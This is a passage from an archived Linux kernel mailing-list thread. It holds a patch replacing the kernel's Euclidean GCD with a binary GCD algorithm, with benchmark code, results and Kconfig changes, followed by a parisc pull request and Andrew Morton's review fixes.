		res = malloc(sizeof(unsigned long) * TEST_ENTRIES * loops);
		memset(elapsed, 0, sizeof(elapsed));

		srand(seed);
		for (j = 0; j < loops; j++) {
			unsigned long a = get_rand();
			/* Do we have args? */
			unsigned long b = argc > optind ? strtoul(argv[optind], NULL, 10) : get_rand();
			unsigned long long min_elapsed[TEST_ENTRIES];
			for (k = 0; k < repeats; k++) {
				for (i = 0; i < TEST_ENTRIES; i++) {
					unsigned long long tmp = benchmark_gcd_func(gcd_func[i], a, b, &res[j][i]);
					if (k == 0 || min_elapsed[i] > tmp)
						min_elapsed[i] = tmp;
				}
			}
			for (i = 0; i < TEST_ENTRIES; i++)
				elapsed[i] += min_elapsed[i];
		}

		for (i = 0; i < TEST_ENTRIES; i++)
			printf("gcd%d: elapsed %llu\n", i, elapsed[i]);

		k = 0;
		srand(seed);
		for (j = 0; j < loops; j++) {
			unsigned long a = get_rand();
			unsigned long b = argc > optind ? strtoul(argv[optind], NULL, 10) : get_rand();
			for (i = 1; i < TEST_ENTRIES; i++) {
				if (res[j][i] != res[j][0])
					break;
			}
			if (i < TEST_ENTRIES) {
				if (k == 0) {
					k = 1;
					fprintf(stderr, "Error:\n");
				}
				fprintf(stderr, "gcd(%lu, %lu): ", a, b);
				for (i = 0; i < TEST_ENTRIES; i++)
					fprintf(stderr, "%ld%s", res[j][i], i < TEST_ENTRIES - 1 ? ", " : "\n");
			}
		}

		if (k == 0)
			fprintf(stderr, "PASS\n");

		free(res);

		return 0;
	}

Compiled with "-O2", on "VirtualBox 4.4.0-22-generic #38-Ubuntu x86_64" got:

zhaoxiuzeng@zhaoxiuzeng-VirtualBox:~/develop$ ./gcd -r 500000 -n 10
gcd0: elapsed 10174
gcd1: elapsed 2120
gcd2: elapsed 2902
gcd3: elapsed 2039
gcd4: elapsed 2812
PASS
zhaoxiuzeng@zhaoxiuzeng-VirtualBox:~/develop$ ./gcd -r 500000 -n 10
gcd0: elapsed 9309
gcd1: elapsed 2280
gcd2: elapsed 2822
gcd3: elapsed 2217
gcd4: elapsed 2710
PASS
zhaoxiuzeng@zhaoxiuzeng-VirtualBox:~/develop$ ./gcd -r 500000 -n 10
gcd0: elapsed 9589
gcd1: elapsed 2098
gcd2: elapsed 2815
gcd3: elapsed 2030
gcd4: elapsed 2718
PASS
zhaoxiuzeng@zhaoxiuzeng-VirtualBox:~/develop$ ./gcd -r 500000 -n 10
gcd0: elapsed 9914
gcd1: elapsed 2309
gcd2: elapsed 2779
gcd3: elapsed 2228
gcd4: elapsed 2709
PASS

Changes to V3:
- Fix build error
- Select CPU_NO_EFFICIENT_FFS if CONFIG_ARC && CONFIG_ISA_ARCOMPACT
- Select CPU_NO_EFFICIENT_FFS if CONFIG_S390 && !CONFIG_HAVE_MARCH_Z9_109_FEATURES
- Do new brnchmark
- Return immediately if one number becomes a power of 2
- Add comments written by George Spelvin

Changes to V2:
- Add a new Kconfig variable CPU_NO_EFFICIENT_FFS
- Separate into two versions by CPU_NO_EFFICIENT_FFS
- Return directly from the loop, rather than using break().
- Use "r &= -r" mostly because it's clearer.

Changes to V1:
- Don't touch Kconfig, remove the Euclidean algorithm implementation
- Don't use the "even-odd" variant
- Use __ffs if the CPU has efficient __ffs

Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
Signed-off-by: George Spelvin <linux@horizon.com>
---
 arch/Kconfig                         |  3 ++
 arch/alpha/Kconfig                   |  1 +
 arch/arc/Kconfig                     |  1 +
 arch/arm/mm/Kconfig                  |  3 ++
 arch/h8300/Kconfig                   |  1 +
 arch/m32r/Kconfig                    |  1 +
 arch/m68k/Kconfig.cpu                | 11 ++++++
 arch/metag/Kconfig                   |  1 +
 arch/microblaze/Kconfig              |  1 +
 arch/mips/include/asm/cpu-features.h | 10 +++++
 arch/nios2/Kconfig                   |  1 +
 arch/openrisc/Kconfig                |  1 +
 arch/parisc/Kconfig                  |  1 +
 arch/s390/Kconfig                    |  2 +-
 arch/score/Kconfig                   |  1 +
 arch/sh/Kconfig                      |  1 +
 arch/sparc/Kconfig                   |  1 +
 lib/gcd.c                            | 77 +++++++++++++++++++++++++++++++-----
 18 files changed, 107 insertions(+), 11 deletions(-)

diff --git a/arch/Kconfig b/arch/Kconfig
index 81869a5..275f17d 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -638,4 +638,7 @@ config COMPAT_OLD_SIGACTION
 config ARCH_NO_COHERENT_DMA_MMAP
 	bool
 
+config CPU_NO_EFFICIENT_FFS
+	def_bool n
+
 source "kernel/gcov/Kconfig"
diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 9d8a858..44e6f05 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -27,6 +27,7 @@ config ALPHA
 	select MODULES_USE_ELF_RELA
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
+	select CPU_NO_EFFICIENT_FFS if !ALPHA_EV67
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index ec4791e..f41eb4c 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -101,6 +101,7 @@ choice
 
 config ISA_ARCOMPACT
 	bool "ARCompact ISA"
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  The original ARC ISA of ARC600/700 cores
 
diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
index 5534766..cb569b6 100644
--- a/arch/arm/mm/Kconfig
+++ b/arch/arm/mm/Kconfig
@@ -421,18 +421,21 @@ config CPU_32v3
 	select CPU_USE_DOMAINS if MMU
 	select NEED_KUSER_HELPERS
 	select TLS_REG_EMUL if SMP || !MMU
+	select CPU_NO_EFFICIENT_FFS
 
 config CPU_32v4
 	bool
 	select CPU_USE_DOMAINS if MMU
 	select NEED_KUSER_HELPERS
 	select TLS_REG_EMUL if SMP || !MMU
+	select CPU_NO_EFFICIENT_FFS
 
 config CPU_32v4T
 	bool
 	select CPU_USE_DOMAINS if MMU
 	select NEED_KUSER_HELPERS
 	select TLS_REG_EMUL if SMP || !MMU
+	select CPU_NO_EFFICIENT_FFS
 
 config CPU_32v5
 	bool
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 986ea84..aa232de 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -20,6 +20,7 @@ config H8300
 	select HAVE_KERNEL_GZIP
 	select HAVE_KERNEL_LZO
 	select HAVE_ARCH_KGDB
+	select CPU_NO_EFFICIENT_FFS
 
 config RWSEM_GENERIC_SPINLOCK
 	def_bool y
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index c82b292..3cc8498 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -17,6 +17,7 @@ config M32R
 	select ARCH_USES_GETTIMEOFFSET
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
+	select CPU_NO_EFFICIENT_FFS
 
 config SBUS
 	bool
diff --git a/arch/m68k/Kconfig.cpu b/arch/m68k/Kconfig.cpu
index 0dfcf12..0b6efe8 100644
--- a/arch/m68k/Kconfig.cpu
+++ b/arch/m68k/Kconfig.cpu
@@ -40,6 +40,7 @@ config M68000
 	select CPU_HAS_NO_MULDIV64
 	select CPU_HAS_NO_UNALIGNED
 	select GENERIC_CSUM
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  The Freescale (was Motorola) 68000 CPU is the first generation of
 	  the well known M68K family of processors. The CPU core as well as
@@ -51,6 +52,7 @@ config MCPU32
 	bool
 	select CPU_HAS_NO_BITFIELDS
 	select CPU_HAS_NO_UNALIGNED
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  The Freescale (was then Motorola) CPU32 is a CPU core that is
 	  based on the 68020 processor. For the most part it is used in
@@ -130,6 +132,7 @@ config M5206
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5206 processor support.
 
@@ -138,6 +141,7 @@ config M5206e
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5206e processor support.
 
@@ -163,6 +167,7 @@ config M5249
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5249 processor support.
 
@@ -171,6 +176,7 @@ config M525x
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Freescale (Motorola) Coldfire 5251/5253 processor support.
 
@@ -189,6 +195,7 @@ config M5272
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5272 processor support.
 
@@ -217,6 +224,7 @@ config M5307
 	select COLDFIRE_SW_A7
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5307 processor support.
 
@@ -242,6 +250,7 @@ config M5407
 	select COLDFIRE_SW_A7
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5407 processor support.
 
@@ -251,6 +260,7 @@ config M547x
 	select MMU_COLDFIRE if MMU
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Freescale ColdFire 5470/5471/5472/5473/5474/5475 processor support.
 
@@ -260,6 +270,7 @@ config M548x
 	select M54xx
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Freescale ColdFire 5480/5481/5482/5483/5484/5485 processor support.
 
diff --git a/arch/metag/Kconfig b/arch/metag/Kconfig
index a0fa88d..2ac2de6 100644
--- a/arch/metag/Kconfig
+++ b/arch/metag/Kconfig
@@ -29,6 +29,7 @@ config METAG
 	select OF
 	select OF_EARLY_FLATTREE
 	select SPARSE_IRQ
+	select CPU_NO_EFFICIENT_FFS
 
 config STACKTRACE_SUPPORT
 	def_bool y
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 3d793b5..f17c3a4 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -32,6 +32,7 @@ config MICROBLAZE
 	select OF_EARLY_FLATTREE
 	select TRACING_SUPPORT
 	select VIRT_TO_BUS
+	select CPU_NO_EFFICIENT_FFS
 
 config SWAP
 	def_bool n
diff --git a/arch/mips/include/asm/cpu-features.h b/arch/mips/include/asm/cpu-features.h
index eeec8c8..e20e100 100644
--- a/arch/mips/include/asm/cpu-features.h
+++ b/arch/mips/include/asm/cpu-features.h
@@ -180,6 +180,16 @@
 #endif
 #endif
 
+/* __builtin_constant_p(cpu_has_mips_r) && cpu_has_mips_r */
+#if !((defined(cpu_has_mips32r1) && cpu_has_mips32r1) || \
+	  (defined(cpu_has_mips32r2) && cpu_has_mips32r2) || \
+	  (defined(cpu_has_mips32r6) && cpu_has_mips32r6) || \
+	  (defined(cpu_has_mips64r1) && cpu_has_mips64r1) || \
+	  (defined(cpu_has_mips64r2) && cpu_has_mips64r2) || \
+	  (defined(cpu_has_mips64r6) && cpu_has_mips64r6))
+#define CONFIG_CPU_NO_EFFICIENT_FFS 1
+#endif
+
 #ifndef cpu_has_mips_1
 # define cpu_has_mips_1		(!cpu_has_mips_r6)
 #endif
diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 4375554..f10bd2c 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -16,6 +16,7 @@ config NIOS2
 	select SOC_BUS
 	select SPARSE_IRQ
 	select USB_ARCH_HAS_HCD if USB_SUPPORT
+	select CPU_NO_EFFICIENT_FFS
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
index e118c02..142cb05 100644
--- a/arch/openrisc/Kconfig
+++ b/arch/openrisc/Kconfig
@@ -25,6 +25,7 @@ config OPENRISC
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
 	select OR1K_PIC
+	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
 
 config MMU
 	def_bool y
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 88cfaa8..3d498a6 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -32,6 +32,7 @@ config PARISC
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_ARCH_SECCOMP_FILTER
 	select ARCH_NO_COHERENT_DMA_MMAP
+	select CPU_NO_EFFICIENT_FFS
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index bf24ab1..9eb3932 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -164,7 +164,7 @@ config S390
 	select TTY
 	select VIRT_CPU_ACCOUNTING
 	select VIRT_TO_BUS
-
+	select CPU_NO_EFFICIENT_FFS if !HAVE_MARCH_Z9_109_FEATURES
 
 config SCHED_OMIT_FRAME_POINTER
 	def_bool y
diff --git a/arch/score/Kconfig b/arch/score/Kconfig
index 366e1b5..507d631 100644
--- a/arch/score/Kconfig
+++ b/arch/score/Kconfig
@@ -14,6 +14,7 @@ config SCORE
 	select VIRT_TO_BUS
 	select MODULES_USE_ELF_REL
 	select CLONE_BACKWARDS
+	select CPU_NO_EFFICIENT_FFS
 
 choice
 	prompt "System type"
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 7ed20fc..56cf5e5 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -44,6 +44,7 @@ config SUPERH
 	select OLD_SIGSUSPEND
 	select OLD_SIGACTION
 	select HAVE_ARCH_AUDITSYSCALL
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  The SuperH is a RISC processor targeted for use in embedded systems
 	  and consumer electronics; it was also used in the Sega Dreamcast
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 57ffaf2..ca675ed 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -42,6 +42,7 @@ config SPARC
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
 	select ARCH_HAS_SG_CHAIN
+	select CPU_NO_EFFICIENT_FFS
 
 config SPARC32
 	def_bool !64BIT
diff --git a/lib/gcd.c b/lib/gcd.c
index 3657f12..b9fbe73 100644
--- a/lib/gcd.c
+++ b/lib/gcd.c
@@ -2,20 +2,77 @@
 #include <linux/gcd.h>
 #include <linux/export.h>
 
-/* Greatest common divisor */
+/*
+ * This implements the binary GCD algorithm. (Often attributed to Stein,
+ * but as Knuth has noted, appears in a first-century Chinese math text.)
+ *
+ * This is faster than the division-based algorithm even on x86, which
+ * has decent hardware division.
+ */
+
+#if !defined(CONFIG_CPU_NO_EFFICIENT_FFS)
+
+/* If __ffs is available, the even/odd algorithm benchmarks slower. */
 unsigned long gcd(unsigned long a, unsigned long b)
 {
-	unsigned long r;
+	unsigned long r = a | b;
+
+	if (!a || !b)
+		return r;
 
-	if (a < b)
-		swap(a, b);
+	b >>= __ffs(b);
+	if (b == 1)
+		return r & -r;
 
-	if (!b)
-		return a;
-	while ((r = a % b) != 0) {
-		a = b;
-		b = r;
+	for (;;) {
+		a >>= __ffs(a);
+		if (a == 1)
+			return r & -r;
+		if (a == b)
+			return a << __ffs(r);
+
+		if (a < b)
+			swap(a, b);
+		a -= b;
 	}
-	return b;
 }
+
+#else
+
+/* If normalization is done by loops, the even/odd algorithm is a win. */
+unsigned long gcd(unsigned long a, unsigned long b)
+{
+	unsigned long r = a | b;
+
+	if (!a || !b)
+		return r;
+
+	/* Isolate lsbit of r */
+	r &= -r;
+
+	while (!(b & r))
+		b >>= 1;
+	if (b == r)
+		return r;
+
+	for (;;) {
+		while (!(a & r))
+			a >>= 1;
+		if (a == r)
+			return r;
+		if (a == b)
+			return a;
+
+		if (a < b)
+			swap(a, b);
+		a -= b;
+		a >>= 1;
+		if (a & r)
+			a += b;
+		a >>= 1;
+	}
+}
+
+#endif
+
 EXPORT_SYMBOL_GPL(gcd);
-- 
2.7.4





From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fix for 4.6-rc6
Date: Fri, 6 May 2016 19:15:28 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20160506171528.GA2520@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1462554961 9358 80.91.229.3 (6 May 2016 17:16:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 May 2016 17:16:01 +0000 (UTC)
Cc: "Dmitry V. Levin" <ldv@altlinux.org>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 06 19:15:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ayjLu-0006Eq-8m
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 May 2016 19:15:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758485AbcEFRPp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 May 2016 13:15:45 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:62209 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758208AbcEFRPo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 May 2016 13:15:44 -0400
Original-Received: from ls3530.box ([92.203.44.181]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0Lo2EO-1bZyyS2xBI-00fwXZ; Fri, 06 May 2016 19:15:32
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:C0rVzWL4XFAfX3Q69/OlwPSA7swNl5CtbRbe1TYIn7G3+T6++UE
 R/mdRUXawp983nA+n7gOJCPF91c4OUJeNurrpdkOScI5p6y3S9e1b1pwp+9S2BEkvc99w+z
 tHnLnyY9U4OZ/56Z62K4cC7wTmNY0RdoNWpfS4MsgneM/hv44/QiPZRfwG4UBUV/HgcxNgP
 ywZxC7XueGlhBvUdHM3Hg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:2JRQQJxuEDQ=:ZXvBFPqgEM3tnTtRl8JKKb
 RMn7mJ3Vu2VC1hX74iCXgJEXV/5AUMIzjQFusnO6qQwsPVfOpiDoX37unTZ73gpd8l3l3kAvA
 DUBt51CTM0a02j9+mPVkUgw3hNPSUXZ7/oWO/N0VB9jjo4acLGI/PxR8kOVeqB8ARsDYGkXMo
 e38Th4uox8GhHEd6jHPuLJTk+i//yIIbYVioENM5FF6rJTBwXpmcSoirbSZ+PcCAvLH0CTLH7
 N4/I8tGkoiP9/Bg0IvMA5oDpdooyHr5LDrS4gZpGWMzktDX0Y8neOwYgdUVFWUiz/l8+m8vjM
 C7/+qCtYwXbu9neHmjExIDq35PgR4FOZlQH169LRTlCv6MIOWTiIKa4puZIdu04w/qyb4aKwz
 2XvIrlWGx+d3jKrOlWHMyfOmCzH1jPEG0Z5ao1V3a0xCpnXerjrs+ECWz2WbMXh39oOitvuCr
 kGzXIUu/scoEhfFxXkT4164YbtBysXNvVGvePlJ71QX2LqP0rqiztetl8NMvwkEN1VuI57ie5
 Loy3285H3tTIsuLkXzbM7pBDWBUVttoJlasg6iANkgsmuYihyMqdRhSRRL6GNe8NNX9aTpDNv
 qG8cKhs2fMd+cc07lL3Wdct4bwqc8x7lGqg/dvEaS/DNdlcij6QAFm3n9VwJkmGnjovhrjTTa
 5syACQXIz6iREoNMZIbC1nw8NSAveEOe9syNy/KOZGFYPjYtGx1m0Zj/SDogoMuGvl+pU3LrX
 MFHcWAHieJD38O2aBQQII30qiQcZvifmy3+OHKjZc8eYAq5FE+lZOW7HMDk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26757 gmane.linux.kernel:2216523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26757>

Hi Linus,

Please pull one small ftrace kernel crash fix for the parisc architecture from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.6-5

Patch from Dmitry V. Levin to fix a kernel crash when a straced process calls
the (invalid) syscall which is equal to value of __NR_Linux_syscalls.

Thanks,
Helge


----------------------------------------------------------------
Dmitry V. Levin (1):
      parisc: fix a bug when syscall number of tracee is __NR_Linux_syscalls

 arch/parisc/kernel/syscall.S | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [patch V4] lib: GCD: Use binary GCD algorithm instead of
 Euclidean
Date: Fri, 6 May 2016 16:00:41 -0700
Lines: 92
Approved: news@gmane.org
Message-ID: <20160506160041.2b5e47757329c288efaed4fb@linux-foundation.org>
References: <1462527763-15301-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1462575663 32749 80.91.229.3 (6 May 2016 23:01:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 May 2016 23:01:03 +0000 (UTC)
Cc: linux@horizon.com, peterz@infradead.org, jjuran@gmail.com,
	James.Bottomley@HansenPartnership.com, geert@linux-m68k.org,
	dalias@libc.org, sam@ravnborg.org, davem@davemloft.net,
	Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	James Hogan <james.hogan@imgtec.com>,
	Michal Simek <monstr@monstr.eu>,
	Ralf Baechle <ralf@linux-mips.org>,
	Ley Foon Tan <lftan@altera.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Chen Liqin <liqin.linux@gmail.com>,
	Lennox Wu <lennox.wu@gmail.com>, linux-kernel@vger
To: zengzhaoxiu@163.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 07 01:00:50 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ayojp-0006Wv-IS
	for glpp-linux-parisc@plane.gmane.org; Sat, 07 May 2016 01:00:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758894AbcEFXAr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 May 2016 19:00:47 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:55334 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758874AbcEFXAq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 May 2016 19:00:46 -0400
Original-Received: from akpm3.mtv.corp.google.com (unknown [104.132.1.65])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 3A071307;
	Fri,  6 May 2016 23:00:42 +0000 (UTC)
In-Reply-To: <1462527763-15301-1-git-send-email-zengzhaoxiu@163.com>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26758 gmane.linux.kernel:2216711 gmane.linux.ports.alpha:3721 gmane.linux.kernel.arc:996 gmane.linux.ports.arm.kernel:498231 gmane.linux.ports.m68k:8606 gmane.linux.kernel.metag:1081 gmane.linux.ports.mips.general:54460 gmane.linux.ports.openrisc:717 gmane.linux.ports.sh.devel:53995 gmane.linux.ports.sparc:22946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26758>

On Fri,  6 May 2016 17:42:42 +0800 zengzhaoxiu@163.com wrote:

> From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
> 
> The binary GCD algorithm is based on the following facts:
> 	1. If a and b are all evens, then gcd(a,b) = 2 * gcd(a/2, b/2)
> 	2. If a is even and b is odd, then gcd(a,b) = gcd(a/2, b)
> 	3. If a and b are all odds, then gcd(a,b) = gcd((a-b)/2, b) = gcd((a+b)/2, b)
> 
> Even on x86 machines with reasonable division hardware, the binary
> algorithm runs about 25% faster (80% the execution time) than the
> division-based Euclidian algorithm.
> 
> On platforms like Alpha and ARMv6 where division is a function call to
> emulation code, it's even more significant.
> 
> There are two variants of the code here, depending on whether a
> fast __ffs (find least significant set bit) instruction is available.
> This allows the unpredictable branches in the bit-at-a-time shifting
> loop to be eliminated.
> 
> ...
>
> --- a/arch/alpha/Kconfig
> +++ b/arch/alpha/Kconfig
> @@ -27,6 +27,7 @@ config ALPHA
>  	select MODULES_USE_ELF_RELA
>  	select ODD_RT_SIGACTION
>  	select OLD_SIGSUSPEND
> +	select CPU_NO_EFFICIENT_FFS if !ALPHA_EV67
>  	help

argh.  Please don't always put new items at end-of-list.  That's the
perfect way of maximizing the number of patch collisions.  Insert it at
a random position. avoiding the end (if the list isn't alpha-sorted,
which it should be).

<fixes it all up>

>
> ...
>
> --- a/arch/mips/include/asm/cpu-features.h
> +++ b/arch/mips/include/asm/cpu-features.h
> @@ -180,6 +180,16 @@
>  #endif
>  #endif
>  
> +/* __builtin_constant_p(cpu_has_mips_r) && cpu_has_mips_r */
> +#if !((defined(cpu_has_mips32r1) && cpu_has_mips32r1) || \
> +	  (defined(cpu_has_mips32r2) && cpu_has_mips32r2) || \
> +	  (defined(cpu_has_mips32r6) && cpu_has_mips32r6) || \
> +	  (defined(cpu_has_mips64r1) && cpu_has_mips64r1) || \
> +	  (defined(cpu_has_mips64r2) && cpu_has_mips64r2) || \
> +	  (defined(cpu_has_mips64r6) && cpu_has_mips64r6))
> +#define CONFIG_CPU_NO_EFFICIENT_FFS 1
> +#endif

#defining a CONFIG_ variable is pretty rude - defining these is the
role of the Kconfig system, not of header files macros.

This was easy:

--- a/arch/mips/include/asm/cpu-features.h~lib-gcd-use-binary-gcd-algorithm-instead-of-euclidean-fix
+++ a/arch/mips/include/asm/cpu-features.h
@@ -187,7 +187,7 @@
 	  (defined(cpu_has_mips64r1) && cpu_has_mips64r1) || \
 	  (defined(cpu_has_mips64r2) && cpu_has_mips64r2) || \
 	  (defined(cpu_has_mips64r6) && cpu_has_mips64r6))
-#define CONFIG_CPU_NO_EFFICIENT_FFS 1
+#define CPU_NO_EFFICIENT_FFS 1
 #endif
 
 #ifndef cpu_has_mips_1
--- a/lib/gcd.c~lib-gcd-use-binary-gcd-algorithm-instead-of-euclidean-fix
+++ a/lib/gcd.c
@@ -10,7 +10,7 @@
  * has decent hardware division.
  */
 
-#if !defined(CONFIG_CPU_NO_EFFICIENT_FFS)
+#if !defined(CONFIG_CPU_NO_EFFICIENT_FFS) && !defined(CPU_NO_EFFICIENT_FFS)
 
 /* If __ffs is available, the even/odd algorithm benchmarks slower. */
 unsigned long gcd(unsigned long a, unsigned long b)
_

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:53 2018
